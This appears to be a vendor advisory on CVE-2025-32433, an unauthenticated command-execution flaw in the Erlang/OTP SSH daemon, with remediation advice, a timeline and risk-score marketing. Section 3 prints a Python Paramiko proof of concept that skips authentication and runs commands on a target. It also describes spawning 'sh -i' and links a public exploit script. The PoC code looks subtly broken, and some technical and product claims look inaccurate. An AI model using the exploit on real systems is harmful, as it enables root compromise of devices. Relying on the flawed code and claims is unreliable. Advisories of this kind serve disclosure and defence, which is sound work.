TL;DR
The SSH daemon that ships with Erlang/OTP versions prior to 27.3.3, 26.2.5.11 and 25.3.2.20 accepts a channel request before authentication has succeeded. A three-packet exploit opens a shell as the daemon user, which is often root on embedded devices. Proof-of-concept code is already public and CISA has added the bug to KEV with a 30 June deadline.
1. Summary
| CVE ID | CVE-2025-32433 |
| Affected Product(s) | Erlang/OTP 17.0 through 25.3.2.19, 26.0 through 26.2.5.10 and 27.0 through 27.3.2 when the builtin ssh_application is enabled |
| Volerion Risk Score | 6.62 / 10 |
| Exploit Status | Public PoC available |
| CISA KEV | Yes - remediation required by 2025-06-30 |
Unauthenticated attackers can upload or execute arbitrary commands using standard SSH channel messages. Because Erlang powers RabbitMQ, CouchDB, rebar3 build pipelines and a long list of network appliances, the vulnerability surfaces in places administrators do not usually expect.
2. Context - Why an Erlang bug matters outside the BEAM ecosystem
Erlang/OTP packages a fully featured SSH implementation so developers can expose remote REPLs and file transfer endpoints with minimal effort. The same library ships in compiled form inside:
- Network devices from Cisco, NetApp and SUSE where Erlang provides high-availability clustering logic.
- Container images for RabbitMQ, MongooseIM and VerneMQ that ship with the SSH daemon enabled by default for runtime debugging.
- Continuous-integration runners that rely on rebar3, which automatically starts the daemon during test phases.
These platforms inherit the bug because their maintainers rarely recompile Erlang between releases.
3. Technical Details - A race in the state machine
The SSH protocol described in RFC 4252 establishes a clear sequence:
- Transport layer handshake
- User authentication
- Channel open and request messages
The vulnerable code in otp/lib/ssh-*/src/ssh_connection.erl entered the authenticated state as soon as the client sent any SSH_MSG_USERAUTH_REQUEST, regardless of whether the server had replied with SSH_MSG_USERAUTH_SUCCESS. A malicious client can therefore:
1. Send a valid key exchange sequence.
2. Craft one fake USERAUTH_REQUEST for the nonexistent user "guest".
3. Immediately follow up with CHANNEL_OPEN and CHANNEL_REQUEST exec "sh -i".
Because the server’s state flag already flipped, it allocates the channel and spawns an OS shell under the account that launched the daemon (often root on embedded systems). The patch reorders two lines so that the flag is only set after the success packet is transmitted.
Proof-of-concept
The following Python snippet uses Paramiko but skips authentication completely:
import paramiko, time
t = paramiko.Transport(("target", 22))
t.start_client()
m = paramiko.Message()
m.add_byte(chr(paramiko.common.cMSG_USERAUTH_REQUEST))
m.add_string("guest")
m.add_string("ssh-connection")
m.add_string("none") # Auth method that always fails
t._send_message(m)
# Give the server time to transition state
time.sleep(0.5)
chan = t.open_session() # Succeeds despite failed auth
chan.exec_command("id; uname -a")
print(chan.recv(1024).decode())
Running the code yields uid=0(root) on a vulnerable test appliance.
4. Impact - From missed logins to full box compromise
An SSH daemon usually runs with elevated privileges so it can switch uid after authentication. Triggering command execution before that drop happens gives attackers the highest privileges the service holds. On routers and storage appliances that embed Erlang, this level is root. In mixed-tenant Kubernetes clusters where RabbitMQ workers share nodes, an attacker pivoting through an exposed management network gains foothold to steal messages, credentials and possibly escape the container.
5. Remediation - What to do now
Upgrade to Erlang/OTP 27.3.3, 26.2.5.11 or 25.3.2.20. Packaged distributions from Homebrew, Debian unstable, Ubuntu PPA and Alpine edge already ship the fix. Cisco and NetApp have released hot-patch firmware for supported lines; older models require a manual Erlang rebuild.
If you need breathing room, disable the SSH daemon by removing {applications, [ssh]} from vm.args or firewall TCP 22 to trusted jump hosts only. There is no reliable IDS signature because the exploit traffic follows the RFC.
6. Timeline
| Date (UTC) | Milestone |
|---|---|
| 2025-03-28 | Independent researcher reports bug to Erlang security team |
| 2025-04-16 22:15 | CVE-2025-32433 publicly disclosed on oss-security and GitHub |
| 2025-04-16 22:17 | Volerion completes enrichment and publishes risk score |
7. References
- GitHub advisory: https://github.com/erlang/otp/security/advisories/GHSA-37cp-fgq5-7wc2
- Patch commit: https://github.com/erlang/otp/commit/0fcd9c56524b28615e8ece65fc0c3f66ef6e4c12
- Cisco field notice: https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-erlang-otp-ssh-xyZZy
- Exploit script: https://github.com/ProDefense/CVE-2025-32433/blob/main/CVE-2025-32433.py
About Volerion
Volerion delivers AI-driven enrichment minutes after a CVE goes live. A single call to our REST API returns CVSS 4.0 vectors, exploitability metrics and affected products complete with remediation. Additionally, we offer different scoring profiles, complete with insight into the eight comprehensive categories that make up the final score. Our API is also available in the tradditional NVD API 2.0 format, so integration is as simple as swapping hosts. Spend less time parsing CVEs and more time closing them.
How the Volerion Risk Score Fits With CVSS, EPSS and KEV
At the time of writing:
- This CVE is scored at a 10.0 using CVSS 3.1, which reflects maximum impact and ease of exploitation. CVSS is useful for understanding impact severity but does not consider whether the bug is being exploited or how likely that is.
- EPSS assigns 0.7046, indicating roughly a 70 percent probability of exploitation in the next 30 days. EPSS is a predictive black box that relies on third-party telemetry, which can lag behind fast-moving threats.
- CISA’s KEV listing is a binary flag that tells United States federal agencies they must patch. It is a strong signal but carries no nuance about likelihood or business context.
The Volerion Risk Score brings these signals together and layers them with additional factors such as affected product prevalence, exploit maturity and remediation effort. For CVE-2025-32433 the score is 6.62. That places it in our high-risk band even though it is lower than the raw CVSS 10.0, because we balance impact with real-world context gathered at publication time.